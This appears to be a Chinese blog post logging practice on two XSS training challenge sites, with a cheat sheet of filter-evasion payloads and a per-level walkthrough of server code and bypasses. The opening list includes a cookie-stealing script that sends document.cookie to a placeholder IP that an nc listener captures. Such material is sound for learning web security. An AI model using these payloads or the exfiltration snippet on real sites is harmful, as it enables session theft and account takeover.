XSS刷题之旅

0x01 一些资源或文章:

XSS小结
XSS总结
那些年我们没能bypass的xss filter
XSS Filter Evasion Cheat Sheet 中文版
XSS攻击手段&在CTF中的运用


0x02 常用Payload(慢慢积累…)

<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>
<img src=1 onmouseover=alert('xss')>
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>

需要用编码绕过时:
Base64:<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>M

urlencode:<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>M 

HTML实体编码 :<a href=j&#x61;v&#97script&#x3A;&#97lert(13)>M
<a href="" onclick=alert('xss')>aa</a>
<a href="" onclick=eval(alert('xss'))>bb</a>
<a href="" onmouseover=prompt('xss')>cc</a>
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>
<input value="" onclick=alert('xss') type="text">
<input name="name" onmouseover=alert('xss')>
<input name="name" value="" onmouseover=prompt('xss') bad="">
<input value=1 type=image src onerror=alert(1) >
<svg onload=alert('xss')>

<svg>标签中可以直接执行实体字符。
<svg><script>alert&#40;1&#41;</script>
Cookie盗取:
<script>var img=document.createElement("img");img.src="http://xxx.xxx.xxx.xxx:1234/a?"+escape(document.cookie);</script>
nc监听端口1234

Tips:

- 反引号代替圆括号
- 换行绕过正则
- <!--不仅可以用-->,也可以用--!>闭合
- //可以用换行来绕过
- <!--和-->都可以在html的script标签里单独使用进行单行注释
- ſ 符号转换为大写后正好为大写字母 S
- 可以用 %0a 代替空格进行绕过

0x03 XSS编码

JS编码

JS提供了四种字符编码的策略,

  • 三个八进制数字,如果数字不够,在前面补零,如a的编码为\141
  • 两个十六进制数字,如果数字不够,在前面补零,如a的编码为\x61
  • 四个十六进制数字,如果数字不够,在前面补零,如a的编码为\u0061
  • 对于一些控制字符,使用特殊的C类型的转义风格,如\n\r
HTML实体编码

命名实体
&开头,以分号结尾的,如<的编码为&1t;

字符编码
十进制,十六进制的ASCII码或者Unicode字符编码。样式为&#数值;

<的编码为

&#60;(10进制)

&#x003c;(16进制)

URL编码

这里为url全编码,也就是两次url编码

如alert的url全编码为%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34

String.fromCharCode编码

如alert的编码为String.fromCharCode(97,108,101,114,116)


0x04 刷题

haozi-xss-demo

项目:https://github.com/haozi/xss-demo
地址:https://xss.haozi.me
包含alert(1)的js文件地址:https://xss.haozi.me/j.js
过关方式:构造input code,成功执行alert(1)

0x00

server code:

function render (input) {
  return '<div>' + input + '</div>'
}

直接构造js语句即可。

payload:

<script>alert(1)</script>

html:

<div><script>alert(1)</script></div>

0x01

server code:

function render (input) {
  return '<textarea>' + input + '</textarea>'
}

这一关插入的地方在html标签里面,所以要先闭合<textarea>标签,再进行构造。
nput code:

</textarea><script>alert(1)</script>

html:

<textarea></textarea><script>alert(1)</script></textarea>

0x02

server code:

function render (input) {
  return '<input type="name" value="' + input + '">'
}

input的地方在尖括号内部,需要先闭合尖括号。
payload:

"><script>alert(1)</script>

html:

<input type="name" value=""><script>alert(1)</script>">

0x03

server code:

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

这一关用正则表达式过滤了括号(替换为空),这里有个小tip,可以用反引号代替圆括号。

其他关于过滤圆括号的一些方法,可参考:XSS相关一些个人Tips

payload:

<script>alert`1`</script>

html:

<script>alert`1`</script>

0x04

server code:

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

过滤了圆括号和反引号,所以上一关的方法就不能用了。

可以用各种编码进行绕过,如url编码、html实体编码。

  • <svg>标签中可以直接执行实体字符,payload2
  • h5中iframe标签的srcdoc属性,srcdoc里的代码会作为iframe中的内容显示出来,srcdoc中可以直接去写转译后的html片段,payload3

payload:

<img src=1 οnerrοr=location="javascript:alert%281%29">

<svg><script>alert&#40;1&#41;</script>

<iframe srcdoc="<script>alert&#40;1&#41;</script>">

0x05

server code:

function render (input) {
  input = input.replace(/-->/g, '?')
  return '<!-- ' + input + ' -->'
}

这一关将html中的注释符-->替换成了一个表情,并且输入的内容是包含在一段注释符里的。

html通常的的注释符为:<!-- -->,测试发现<!- -!><!-- --!>同样可已用来注释,这里可利用--!>来闭合。

payload:

--!><script>alert(1)</script>

html:

<!-- --!><script>alert(1)</script> 

0x06

server code:

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

过滤了以autoon开头,=结尾的标签属性,并用下划线_进行替换,同时忽略大小写。

这里可以用换行来绕过正则的检查。

payload:

onmouseover
=alert(1)
或
type=image src onerror
=alert(1)

html:

<input value=1 onmouseover
=alert(1)
 type="text">
或
<input value=1 type=image src onerror
=alert(1) type="text">

0x07

server code:

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

正则匹配了以<</开头,>/>结尾的标签,并替换为空。
浏览器容错性运行去掉最后面的>,所以可以去掉它来绕过正则。

payload:(最后还有个空格或回车)

<img src="x" οnerrοr=alert(1)   

html:

<article><img src="x" οnerrοr=alert(1)
</article>

0x08

server code:

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

过滤了</style>标签,忽略大小写。

因为我们需要用到</style>来闭合标签,所以依旧可以通过换行绕过正则,或者用</style >(多加了一个空格),也可以进行绕过。

payload:

</style
><script>alert(1)</script>

html:

<style>
      </style
><script>alert(1)</script>
    </style>

0x09

server code:

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

要求输入的值要以https://www.segmentfault.com开头,否则返回Invalid URL

payload:

https://www.segmentfault.com"></script><a href="" onmouseover=alert(1)>Lethe</a>

html:

<script src="https://www.segmentfault.com"></script><a href="" onmouseover=alert(1)>Lethe</a>"></script>

0x0A

server code:

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

同样要求输入的值要以https://www.segmentfault.com开头,但是过滤了& ' " < > /,这个过滤。

前面给出的包含alert(1)的js文件就派上用场了。

利用URL的@特性引入js,过滤后的html实体编码在html标签属性值中无影响,直接解析。

payload:

https://www.segmentfault.com@xss.haozi.me/j.js

但是...在这里却不行

html:

<script src="https:&#x2f&#x2fwww.segmentfault.com@xss.haozi.me&#x2fj.js"></script>

0x0B

server code:

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

这里将输入值全部转换成了大写。

  • html标签不区分;
  • 域名不区分大小写
  • js严格区分大小写。

因此这里可以利用html标签引用外部js资源,但是这里引用前面给的https://xss.haozi.me/j.js还是不行,根据官方解答,需要引用https://www.segmentfault.com.haozi.me/j.js这个链接才行…无语。

但这里也可利用html实体编码来进行绕过,alert(1)的html实体编码为&#97;&#108;&#101;&#114;&#116;&#40;1&#41;

payload:

<img src="x" onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;>

html:

<h1><IMG SRC="X" ONERROR=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;></h1>

0x0C

server code:

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

将script替换为空,正则全局匹配且不区分大小写.

这里可以直接用上一题的payload…也可以双写script,引用外部js资源,同样还是需要引用https://www.segmentfault.com.haozi.me/j.js这个链接才行…

payload:

<scscriptript src="https://www.segmentfault.com.haozi.me/j.js"></scscriptript>>

html:

<h1><SCRIPT SRC="HTTPS://WWW.SEGMENTFAULT.COM.HAOZI.ME/J.JS"></SCRIPT>></h1>

0x0D

server code:

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

过滤了< / " ',但input的地方前面有个//,这是js的单行注释符,可以通过换行来绕过,然后再用-->将后面的')注释掉。

经过我自己的测试,<!---->都可以在html的script标签里单独使用进行单行注释.,这里<被过滤了,所以使用-->

payload:


alert(1);
-->

html:

<script>
          // alert('
alert(1);
-->')
    </script>

0x0E

server code:

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

匹配以<起始的字符,替换为<_$1,并且把输入转换为大写,这样这样的标签就都用不了了。

这里有个tip
发现了一个ſ字符,是古英语中s的写法,但现在不会当作英文字母a-zA-Z,关键是ſ转换为大写后正好为S,这样就可以绕过正则使用<script>标签引如外部js。

payload:

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

html:

<h1><SCRIPT SRC="HTTPS://WWW.SEGMENTFAULT.COM.HAOZI.ME/J.JS"></SCRIPT></h1>

0x0F

server code:

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src οnerrοr="console.error('${escapeHtml(input)}')">`
}

过滤了& ' " < > /,转换为了html实体编码,但是由于input code在img标签内,所以html实体编码是可以被直接解析的。
所以闭合前面的标签,在构造语句即可。

payload:

');alert('1

html:

<img src onerror="console.error('&#39;);alert(&#39;1')">

实际上就是
<img src onerror="console.error('');alert('1')">

0x10

server code:

function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

由于input实在script标签里面,且没有任何过滤,所以直接闭合前面的语句,构造下一条语句即可。

payload:

'';alert(1)

html:

<script>
  window.data = '';alert(1)
</script>

0x11

server code:

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

用反斜杠转移了一堆字符,但是"被转义成\"正好可以闭合console.log("\"),既然闭合了前面的语句那么之后就构造后面的语句就行了。

payload:

"),alert(1)//
");alert("1
"),alert(1)("
这三个都可以..

html:

<script>
  var url = 'javascript:console.log("\"),alert(1)\/\/")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>

0x12

server code:

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

匹配"替换为\",这里直接用\")闭合前面的双引号会被转义,所以在加一个\来转义\即可。

payload:

\");alert(1);</script>

html:

<script>console.log("\\");alert(1);</script>");</script>

这一套题主要是熟悉一下基本绕过方式,实战性不是很强,初学XSS还需继续努力。


那么就再刷一套题吧

XSS挑战

题目地址:http://test.xss.tv/

Level 1

输入的地方,在h2标签内,先闭合标签再构造。

payload:
</h2><script>alert(1)</script>


Level 2

<input name="keyword" value="input code">

输入点在input标签内部,所以先闭合input标签。

payload:
"><script>alert(1)</script>


Level 3

这一关输入点,同样在input标签的value值内,尝试上一关闭合标签构造,但是没有成功。

双引号闭合value="失败,单引号闭合成功。
然后利用onclick、onmouseover等事件进行弹窗。
注释掉后面的代码。

payload:
' onmouseover=alert(1)//


Level 4

与上一关类似,用双引号闭合value="即可。

payload:
" onclick=alert(1)//

Level 5

这一关会将script替换成scr_ipton也会被替换成o_n

我们可以闭合<input>后利用<a>标签进行弹窗:

payload:
"><a href="javascript:alert(1)">Lethe</a>//

Level 6

这一关在上一关的基础上,多过滤了hrefsrcdata

经测试,可以利用大小写进行绕过。

payload:
"><a hREf="javascript:alert(1)">Lethe</a>//

Level 7

先用之前的payload进行测试,发现hrefscript直接消失了,于是尝试双写绕过,成功。

payload:
"><a hrhrefef="javascriscriptpt:alert(1)">Lethe</a>//

Level 8

这一关和前面稍有不同,可以添加友情链接,添加过后的内容直接包含在<a href="input code">友情链接</a>里面。

于是先尝试javascritpt:alert(1),但是script同样被替换成了scr_ipt

因为html标签内可以直接解析html实体编码,于是尝试用实体编码绕过。

payload:
java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)

Level 9

和上题类似,但是这里对链接有了一定要求,必须包含http://,却没有要求一定要在开头…不知道有什么意义

所以直接在构造的语句最后加上http://绕过检测,再注释掉即可。

payload:
java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)//http://

Level 10

这题没有输入框,url上给了一个keyword参数,尝试闭合再构造,虽然回显的内容没有过滤,但是却不会弹窗,查看源码,发现还有一个隐藏的form表单,看看能否利用。
在这里插入图片描述
尝试?t_link=Lethe&t_history=Lethe&t_sort=Lethe

发现t_sort参数可以利用
在这里插入图片描述

于是进行构造,发现尖括号被过滤了,于是利用事件进行弹窗。

payload:
?t_sort=" type=image src=x onerror=alert(1)//

Level 11

和上一关一样有一个隐藏的表单,也是t_sort参数可以利用
在这里插入图片描述

用上一关的payload进行测试,发现双引号也被过滤了,应该又要换个思路了。

重新打开页面观察源码,看到一个可疑的地方,那新增的一个参数不是白加的,当你从第10关跳到第11关时,t_ref的value值是页面的Referer的值。
在这里插入图片描述

于是在跳转的时候抓包修改Referer的值为" type=text onclick="alert(1),如下:
在这里插入图片描述

然后在Target界面Forward,回到闯关页面发现已成功注,点击输入框即可弹窗。
在这里插入图片描述


Level 12

与上一关类似,不过这里是利用User-Agent:
在这里插入图片描述

同样抓包修改User-Agent的值进行构造
在这里插入图片描述

payload:
" type=text onclick="alert(1)


Level 13

与前两关相同,只不过这一关是利用Cookie进行注入。
在这里插入图片描述

抓包修改Cookie为:user=" type=text onclick="alert(1)即可
在这里插入图片描述


Level 14

进入14关,没有输入框,url中没有参数,查看源码,发现使用了<iframe>标签引入了http://www.exifviewer.org/

但是我这边一直打不开http://www.exifviewer.org/,根据网上的题解,上传一个含有xss代码的图片触发xss,关于exif xss这一题的解法,可参考:https://xz.aliyun.com/t/1206


Level 15

页面什么都没有,那么直接看源码
在这里插入图片描述第一眼看貌似也没什么,实际上还是因为我对js不是很熟悉…搜索得到,这里使用了AngularJS框架的 ng-include 指令,可参考:https://www.runoob.com/angularjs/ng-ng-include.html

其实就是可以利用 ng-include 指令来包含文件>

有两默认情况下,包含的文件需要包含在同一个域名下,也就是符合SOP。

所以网上大多方法是包含了第一关的代码,如下payload:?src='level1.php?name=test<img src=1 onerror=alert(1)>'

但是我在做的过程中发现,引用的名字会直接出现在源码上:
在这里插入图片描述
那么理论上通过闭合也是可以的

于是尝试payload:
?src="><img src="x" onerror=alert(1)>

发现真的是可以的…在这里插入图片描述


Level 16

输入点包含在<center>标签内,过滤了空格,可以用%0a代替空格进行绕过。

payload:
?keyword=<img%0asrc=x%0aonerror=alert(1)>

Level 17

进入之后会看到一个关于flash的什么东西,暂时先不管,做xss先找输入输出点。

url中有arg01arg02两个参数,应该是输入点,查看源码发现在<embed>标签的src中会输出这两个参数的值,如下:
在这里插入图片描述

先试试闭合,发现过滤了尖括号,可以考虑用onerror弹窗。

payload:
?arg01=&arg02= onmouseover=alert(1)


Level 18

这一关和17关好像是一样的…

payload:
?arg01=&arg02= onmouseover=alert(1)


Level 19 20 好像是关于flash xss的,由于了解不多,而且现在网站用flash的也越来越少了,就不做了。


0x05 小结

做了这两套题,这只能说是刚刚了解了XSS是什么,还要很多很多知识需要学习,尤其是要加强实战方面的运用,这就只能在以后的学习过程中慢慢积累了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值